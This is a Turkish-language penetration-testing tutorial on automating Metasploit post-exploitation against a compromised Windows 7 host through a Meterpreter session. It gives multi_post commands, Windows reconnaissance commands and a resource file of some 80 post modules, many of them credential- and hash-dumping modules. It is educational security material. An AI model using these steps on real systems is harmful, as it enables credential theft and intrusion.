Mevcut durumda 64 bit mimarideki Windows 7 işletim sistemi kullanan bir bilgisayarda SYSTEM yetkisi ile Meterpreter bağlantısı elde edilmiştir.
getuid
getpid
sysinfo
background
sessions
Uyarı: İşletim sisteminin mimarisi 64 bit olduğu sistemlerde Meterpreter bağlantısını sağlayan prosesin de 64 bit olması tavsiye edilmektedir. Aksi halde bazı modüller çalışmayabilir.
Kali üzerinde istismar sonrasında kullanılmak için hazırlanmış bir çok post modül bulunmaktadır. Bu modüller /usr/share/metasploit-framework/modules/post/ dizini altında bulunmaktadır.
ls
ls windows/
ls windows/gather/
ls windows/gather/credentials/
Bu modüllerin tamamı veya belirlenen bir kısmı ile erişim sağlanan bilgisayarda otomatik olarak bilgi toplanabilir. Bu amaçla belirlenen istismar sonrası modüller bir dosyaya yazılarak MSF multi_post adlı post modül ile çalıştırılabilir.
wc -l WindowsIstismarSonrasiModuller.rc
head -15 WindowsIstismarSonrasiModuller.rc
tail -15 WindowsIstismarSonrasiModuller.rc
MSF multi_post adlı post modülü temel olarak bir post modüller listesi (MACRO) ve bir oturum ID (SESSION) değeri almaktadır.
use post/multi/manage/multi_post
show options
set MACRO /root/Desktop/WindowsIstismarSonrasiModuller.rc
set SESSION 1
show options
Modül çalıştırıldığında mevcut yetkiler ile belirtilen istismar sonrası modüller yüklenmekte ve çalıştırılmaktadır. Böylece yerel kullanıcıların parola özetleri, oturum açan kullanıcıların parolaları, yüklü programlar, hak yükseltme zafiyetleri, yamalar, paylaşımlar, web browser uygulamaları gibi bir çok uygulama üzerinden kayıtlı kimlik bilgileri, yamalar,… vb. listelenebilir.
run
Not: Yukarıdaki işlemlerin gerçekleşmesi için Meterpreter erişiminin SYSTEM yetkisi elde edilmesine gerek yoktur. Ancak bazı modüllerin çalışması için SYSTEM yetkisine ihtiyaç duyulmaktadır. Bunun yanında bazı modüller çalışırken kullanıcı yetkilerine ihtiyaç duyabilir ve sonrasında otomatik olarak (rev2self kullanmak gibi) önceki yetkiye geçiş sağlamada sıkıntı yaşanabilir. Bu sebeple kulanıcı prosesine sıçramak için gereken modüllerin sonlara saklanması tavsiye edilmektedir.
Bu yazıda kullanılan WindowsIstismarSonrasiModuller.rc dosyasının içeriği yazının sonda belirtildiği gibi oluşturulmuştur. Dosya içeriğine ilgili modüllerin seçenekleri virgüller ile ayrılarak satırlar güncellenebilir. Örneğin; “post/windows/gather/enum_files FILE_GLOBS=*.bat,SEARCH_FROM=C:\Users” satırı ile varsayılan dizindeki (“C:\”) varsayılan uzantılı (“*.config”) dosyaların araştırılması yerine “C:\Users” altındaki “*.bat” uzantılı dosyalar aranır
Bunun yanında MSF istismar sonrası modüller ile tespit edilemeyen bilgilerin de manuel olarak araştırılması, Windows komutlarının kullanılması tavsiye edilmektedir. Örnek bir liste aşağıdaki gibi sıralanabilir.
systeminfo
arp -A
route print
netsh firewall show state
netsh firewall show config
net localgroup Administrators
net localgroup “Remote Desktop Users”
net accounts
net user xxx
net use
schtasks /query /fo LIST /v > schtask.txt
cat schtask.txt | grep “SYSTEM\|Task To Run” | grep -B 1 SYSTEM
WindowsIstismarSonrasiModuller.rc İçeriği
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
post/windows/gather/credentials/credential_collector post/windows/gather/credentials/sso post/windows/gather/credentials/enum_cred_store post/windows/gather/credentials/windows_autologin post/windows/gather/cachedump post/windows/gather/credentials/gpp post/windows/gather/credentials/domain_hashdump post/windows/gather/lsa_secrets post/windows/gather/credentials/mssql_local_hashdump post/windows/gather/enum_logged_on_users post/windows/gather/enum_shares post/windows/gather/enum_applications post/multi/recon/local_exploit_suggester post/multi/gather/firefox_creds post/windows/gather/enum_ie post/windows/gather/credentials/vnc post/windows/gather/credentials/winscp post/multi/gather/ssh_creds post/multi/gather/pidgin_cred post/windows/gather/credentials/filezilla_server post/windows/gather/credentials/enum_laps post/windows/gather/credentials/mremote post/windows/gather/credentials/skype post/windows/gather/credentials/wsftp_client post/windows/gather/credentials/coreftp post/windows/gather/win_privs post/windows/gather/ntds_location post/windows/gather/tcpnetstat post/windows/gather/enum_proxy post/windows/gather/enum_termserv post/windows/gather/enum_av_excluded post/windows/gather/enum_db post/windows/gather/enum_domain post/windows/gather/enum_domain_tokens post/windows/gather/enum_domains post/windows/gather/enum_emet post/windows/gather/enum_files post/windows/gather/enum_hostfile post/windows/gather/enum_putty_saved_sessions post/windows/gather/enum_services post/windows/gather/enum_tomcat post/windows/gather/enum_trusted_locations post/windows/gather/enum_unattend post/windows/gather/forensics/browser_history post/windows/gather/forensics/duqu_check post/windows/gather/forensics/enum_drives post/windows/gather/credentials/dyndns post/windows/gather/credentials/steam post/windows/gather/credentials/ftpnavigator post/windows/gather/credentials/ftpx post/windows/gather/credentials/idm post/windows/gather/credentials/mcafee_vse_hashdump post/windows/gather/credentials/avira_password post/windows/gather/credentials/razer_synapse post/windows/gather/credentials/razorsql post/windows/gather/credentials/spark_im post/windows/gather/credentials/smartermail post/windows/gather/credentials/trillian post/windows/gather/credentials/total_commander post/windows/gather/credentials/smartftp post/windows/gather/credentials/nimbuzz post/windows/gather/credentials/imail post/windows/gather/credentials/idm post/windows/gather/credentials/flashfxp post/windows/gather/credentials/meebo post/windows/gather/credentials/coreftp post/windows/gather/credentials/imvu post/windows/gather/credentials/epo_sql post/windows/gather/enum_snmp post/windows/gather/usb_history post/windows/gather/enum_patches post/windows/gather/dumplinks post/windows/gather/enum_prefetch post/windows/gather/enum_dirperms post/windows/gather/enum_muicache post/windows/gather/screen_spy post/windows/gather/enum_chrome post/windows/gather/credentials/outlook post/windows/gather/credentials/tortoisesvn post/windows/gather/credentials/enum_picasa_pwds post/windows/gather/credentials/rdc_manager_creds |
Kaynak:
https://www.darkoperator.com/blog/2011/12/16/running-multiplepost-modules.html
https://www.darkoperator.com/blog/2011/7/13/automating-post-modules-and-meterpreter-across-sessions.html